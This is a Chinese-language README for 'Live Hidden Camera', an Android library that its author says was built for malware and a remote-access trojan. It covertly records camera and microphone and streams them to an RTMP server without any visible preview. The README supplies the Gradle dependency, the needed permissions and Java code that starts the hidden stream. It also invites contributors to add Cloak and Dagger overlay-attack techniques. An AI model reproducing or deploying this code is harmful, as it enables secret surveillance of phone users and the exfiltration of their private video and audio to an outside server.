隐形摄像头直播(Live Hidden Camera,简称 LHC)是一个可在不显示预览界面的情况下,录制 Android 设备实时视频和音频的库。

我正在研究一款基于 Android 的恶意软件,并决定创建一款多功能 RAT(远程管理工具)。当时我正在研究直播流,发现了一些基于 RTMP 的开源项目,包括:
然而,这些项目在满足 RAT 的需求方面都存在一些问题。但共同的问题是,它们都需要一个 Activity 来包含 SurfaceView。
因此,我开始搜索。最后,我通过结合以下两个项目,成功创建了隐形摄像头直播,它只需要一个 CONTEXT 就能实现实时视频推流:
我已将其封装成一个库,使其更易于使用。唯一的要求是将该库添加到你的项目中,并传入 RTMP URL。
此外,你还需要注意:
Manifest.xml 中包含以下权限:<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
该库的使用非常简单。只需将以下依赖添加到项目的 gradle.build 文件中:
compile 'ir.mstajbakhsh.android:LiveHiddenCamera:0.1.2'
Manifest 中被注释掉。在使用该库之前,你需要部署一个 RTMP 服务器。我使用过 Ant Media Server。此链接 提供了关于 Ant Media Server 安装的详细指南。
启动 Ant Media RTMP 服务器后,你应该会看到类似这样的界面:

将库添加到你的项目后,请执行以下步骤:
创建一个实现以下接口的类:RtmpHandler.RtmpListener、SrsRecordHandler.SrsRecordListener、SrsEncodeHandler.SrsEncodeListener
创建两个字段(一个用于推流,一个用于预览):
private SrsPublisher mPublisher;
private SrsCameraView mCameraView;
实现一个启动隐形摄像头直播的函数:
private void initHiddenCam(String rtmpURL) {
HiddenCameraLayout l = new HiddenCameraLayout(getApplicationContext(), new HiddenCameraLayout.PermissionHandler() {
@Override
public void onPermissionNotGrantedException(Exception ex) {
Log.d("HCL", "Ask user to grant permission.");
Log.e("HCL", ex.getMessage());
}
});
//start config
CameraConfig cameraConfig = new CameraConfig()
.getBuilder(MainActivity.this.getApplicationContext())
.setCameraFacing(CameraFacing.REAR_FACING_CAMERA)
.build();
mCameraView = l.initHiddenLayout(cameraConfig);
mPublisher = new SrsPublisher(mCameraView);
mPublisher.setEncodeHandler(new SrsEncodeHandler(this));
mPublisher.setRtmpHandler(new RtmpHandler(this));
mPublisher.setRecordHandler(new SrsRecordHandler(this));
mPublisher.setPreviewResolution(640, 360);
mPublisher.setOutputResolution(640, 360);
mPublisher.setVideoHDMode();
mPublisher.startPublish(rtmpURL);
mPublisher.startCamera();
}
目前我遇到的主要问题就是绿屏。我已在 StackOverflow 上描述了该错误:https://stackoverflow.com/questions/56380851/getting-green-image-while-preview-hidden-live-video
如果你对此问题有任何建议或其它想法,请随时联系我。
由于隐形摄像头直播覆盖层的原因,其他应用无法被点击。只有 LHC 可以接收点击。请查看 TODO 部分。
有一个名为 Cloak and Dagger 的项目,揭示了 Android 中一种非常危险的能力。欢迎任何贡献者将 Cloak and Dagger 应用到 LHC 中。
请在此处查看 Cloak and Dagger:
你可以通过我的比特币地址捐赠此项目:
BitCoin:
1F5uiEmdCLJX5KktWHE1wkc63feKJYMmxS
你可以通过我的网站联系我:https://mstajbakhsh.ir/